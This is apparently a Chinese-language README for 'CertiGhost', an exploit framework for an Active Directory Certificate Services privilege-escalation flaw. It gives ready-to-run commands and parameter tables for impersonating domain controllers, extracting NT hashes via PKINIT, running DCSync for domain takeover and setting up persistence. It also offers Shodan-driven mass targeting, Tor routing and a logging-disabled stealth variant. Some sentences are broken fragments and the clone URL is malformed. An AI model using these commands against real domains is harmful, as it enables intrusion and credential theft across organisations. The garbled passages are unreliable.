👻 CVE-2026-54121 - 最佳 CertiGhost AD CS 多漏洞利用框架 | 高级工具包,具备恶意 DC/LDAP 服务器、证书滥用、PKINIT 哈希提取功能。特性:安全检测检查,完整多线程利用。🛡️ CVSS 8.8 高危 - 请合乎道德地使用,保持合法。🔒

漏洞利用框架与审计工具包
仅供授权安全测试使用。
本工具仅用于教育和授权渗透测试目的。 作者和贡献者不对因使用本软件而导致的任何滥用或损害负责。用户全权负责确保在测试前已获得目标所有者明确的书面许可。根据适用的联邦、州及国际网络犯罪法律,未经授权访问计算机系统属于违法行为。 使用本软件即表示您同意:
⚠️ 警告: Active Directory 权限提升漏洞对企业基础设施构成高风险。严禁未经授权的测试。
CVE-2026-54121(被称为 "Certighost")是 Microsoft Active Directory 证书服务 (AD CS) 中的一个权限提升 (EoP) 漏洞。该漏洞允许低权限域用户冒充域控制器机器账户,并通过证书伪造实现完整的域管理员接管。
CWE-285)。DCSync 操作。detect_ip,并禁用日志记录和输出。请对此版本使用 “stealthcert.py”。git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#install requirements
# Auto-discovers CA via LDAP, creates temp computer, spawns rogue servers, requests certificate with cdc redirect, extracts DC's NT hash via PKINIT, enables DCSync for domain takeover
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10
# Impersonates a specific Domain Controller (DC01$). Useful when you know exactly which DC to target. Bypasses auto-discovery
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$
# Uses NTLM hash instead of password. Works when password is unknown but hash is obtained. ':' before hash = empty LM hash
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10
# Bypasses LDAP CA discovery. Uses explicitly provided CA IP and name. Useful when LDAP is restricted or CA is on different subnet
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"
# Native LDAP query to check if AD CS is present. Returns CA name and DNS. Read-only, safe for production. No exploitation performed
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect
# Runs native AD CS detection then calls Python certighost.py with all parameters. Requires certighost.py in same directory. Prints NT hash and ccache file
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$
#Detection only mode. Saves results in JSON format. Useful for automation, reporting, and integration with other security tools
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json
该漏洞源于 Active Directory 证书服务 (AD CS) 在证书注册过程中未正确执行授权和验证检查(CWE-285)。拥有低权限域凭据的攻击者可以操纵目标重定向参数,诱使证书颁发机构 (CA) 针对恶意端点验证身份断言。
易受攻击的端点 / 请求上下文:
POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded
... (Certificate Request payload with manipulated target/cdc parameters)
Chase 目标操纵: 攻击者修改证书请求中的目标重定向参数(如 cdc / chase target),强制证书颁发机构 (CA) 将验证流量路由到指定端点。
恶意服务器重定向: 证书颁发机构 (CA) 会向客户端提供的目标发起 LDAP 或 SMB 连接,而不会验证该目标是否为合法且经过授权的域控制器。
DC 身份伪造与证书颁发: 攻击者控制的恶意服务器会代表目标域控制器账户响应 CA 发出的验证查询。CA 依据该响应颁发带有域控制器身份的有效签名证书。
使用获取的域控制器证书,通过 PKINIT(公钥加密初始身份验证)执行 Kerberos 身份验证,以检索高权限 TGT。
利用具有域控制器权限的 Kerberos 票据,通过 DCSync 技术提取 Active Directory 数据库中所有账户的密码哈希(例如 krbtgt、Administrator)。
krbtgt 账户密码哈希按需伪造 TGT。msDS-KeyCredentialLink 属性中,以实现持久访问。| 属性 | 值 |
|---|
| 📅 发现 / 修复 | 2026 年 7 月(微软补丁星期二) |
| ⚠️ CVSS 评分 | 8.8(高危) |
| 🏷️ 代号 | Certighost |
| 🎯 受影响产品 | Microsoft Active Directory 证书服务 |
| 🔄 修复版本 | 2026 年 7 月安全更新 |
| 🔓 身份验证 | 低权限域账户 |
| 🌍 影响 | Active Directory 域完全沦陷 |
| 参数 | 描述 | 示例 |
|---|
-d, --domain | 目标域 DNS 名称(必需) | -d playground.local |
-u, --username | 低权限域用户(必需) | -u lowpriv |
-p, --password | 用户密码 | -p Password123 |
-H, --hashes | NTLM 哈希 [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--dc-ip | 域控制器 IP(必需) | --dc-ip 192.168.1.10 |
--ca-ip | 证书颁发机构 IP(可选) | --ca-ip 192.168.1.20 |
--ca | CA 名称(未设置时自动发现) | --ca "PLAYGROUND-CA" |
--listener | 用于恶意服务器的攻击者 IP | --listener 192.168.1.100 |
--target-san | 要冒充的计算机账户(例如 DC01$) | --target-san DC01$ |
--template | 证书模板(默认:Machine) | --template Machine |
--computer-name | 现有计算机账户名称(带 $) | --computer-name GHOSTABCD$ |
--computer-pass | 现有计算机密码 | --computer-pass CGabc123... |
--computer-hash | 现有计算机 NT 哈希 | --computer-hash 8846f7ea... |
--use-ldap | 使用 LDAP(389)而非 LDAPS(636) | --use-ldap |
--exploit | 执行漏洞利用 | --exploit |
--detect | 仅检测(不进行利用) | --detect |
-t, --threads | 批量扫描的最大线程数 | -t 10 |
--timeout | 每次请求的超时时间(秒) | --timeout 10 |
--retry | 失败时的重试次数 | --retry 3 |
--delay | 请求之间的基础延迟 | --delay 1.0 |
--proxy | 代理 URL | --proxy http://127.0.0.1:8080 |
--no-verify | 禁用 SSL 验证 | --no-verify |
--tor | 使用 Tor 代理(socks5h://127.0.0.1:9050) | --tor |
-o, --output | 输出文件(.json、.csv、.jsonl) | -o results.json |
-v, --verbose | 详细输出 | -v |
-q, --quiet | 静默模式 | -q |
-h, --help | 显示帮助 | -h |
| 参数 | 描述 | 示例 |
|---|
-t, --target | 目标 CA IP 或主机名(必需) | -t 192.168.1.20 |
-d, --domain | 目标域 DNS 名称(必需) | -d playground.local |
--dc-ip | 域控制器 IP(必需) | --dc-ip 192.168.1.10 |
-u, --username | 低权限域用户(必需) | -u lowpriv |
-p, --password | 用户密码 | -p Password123 |
-H, --hashes | NTLM 哈希 [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--computer-name | 现有计算机账户名称(带 $) | --computer-name GHOSTABCD$ |
--computer-pass | 现有计算机密码 | --computer-pass CGabc123... |
--computer-hash | 现有计算机 NT 哈希 | --computer-hash 8846f7ea... |
--target-account | 要冒充的账户(例如 DC01$) | --target-account DC01$ |
--template | 证书模板(默认:Machine) | --template Machine |
--listener | 用于恶意服务器的攻击者 IP(未设置时自动检测) | --listener 192.168.1.100 |
--use-ldap | 使用 LDAP(389)而非 LDAPS(636) | --use-ldap |
--keep-files | 保留 .pfx 和 .ccache 文件(默认:删除) | --keep-files |
-h, --help | 显示帮助 | -h |
| 参数 | 描述 | 示例 |
|---|
-u, --url | 目标 CA IP 或主机名 | -u 192.168.1.20 |
-l, --list | 包含目标的文件(每行一个) | -l targets.txt |
--shodan | 从 Shodan 加载目标 | --shodan |
--shodan-query | Shodan 搜索查询 | --shodan-query "AD CS Certificate" |
-d, --domain | 目标域 DNS 名称(必需) | -d playground.local |
--dc-ip | 域控制器 IP(必需) | --dc-ip 192.168.1.10 |
--username | 低权限域用户(必需) | --username lowpriv |
-p, --password | 用户密码 | -p Password123 |
-H, --hashes | NTLM 哈希 [LM:]NT | -H :8846f7ea... |
--computer-name | 现有计算机账户名称(带 $) | --computer-name GHOSTABCD$ |
--computer-pass | 现有计算机密码 | --computer-pass CGabc123... |
--computer-hash | 现有计算机 NT 哈希 | --computer-hash 8846f7ea... |
--target-account | 要冒充的账户(例如 DC01$) | --target-account DC01$ |
--template | 证书模板(默认:Machine) | --template Machine |
--listener | 用于恶意服务器的攻击者 IP | --listener 192.168.1.100 |
--use-ldap | 使用 LDAP(389)而非 LDAPS(636) | --use-ldap |
--exploit | 执行漏洞利用 | --exploit |
--detect | 仅检测(不进行利用) | --detect |
-t, --threads | 批量扫描的最大线程数 | -t 10 |
--timeout | 每次请求的超时时间(秒) | --timeout 10 |
--retry | 失败时的重试次数 | --retry 3 |
--delay | 请求之间的基础延迟 | --delay 1.0 |
--proxy | 代理 URL | --proxy http://127.0.0.1:8080 |
--no-verify | 禁用 SSL 验证 | --no-verify |
--tor | 使用 Tor 代理 | --tor |
-o, --output | 输出文件(.json、.csv、.jsonl) | -o results.json |
-v, --verbose | 详细输出 | -v |
-q, --quiet | 静默模式 | -q |
-h, --help | 显示帮助 | -h |